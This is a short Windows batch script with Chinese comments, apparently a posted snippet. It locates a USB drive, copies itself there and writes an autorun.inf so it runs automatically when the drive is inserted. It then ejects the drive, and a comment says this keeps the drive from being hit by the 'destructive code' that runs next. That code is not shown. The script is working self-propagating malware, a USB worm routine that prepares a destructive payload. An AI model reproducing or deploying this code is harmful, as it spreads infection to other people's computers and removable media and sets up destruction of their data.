@echo off
::获取u盘盘符
for /f "tokens=2 delims==" %%a in ('wmic LogicalDisk where "DriveType='2'" get DeviceID /value') do (
set DriveU=%%a
) >NUL 2>NUL
::将自身复制到U盘,并写入autorun.inf(插入U盘自运行)
copy %0 %DriveU% >NUL 2>NUL
set sn=%~n0
echo [AutoRun]>%DriveU%\autorun.inf
echo open=%sn%.bat>>%DriveU%\autorun.inf
::弹出U盘,防止一会儿执行破坏代码时受牵连
mountvol %DriveU% /d >NUL 2>NUL
如上。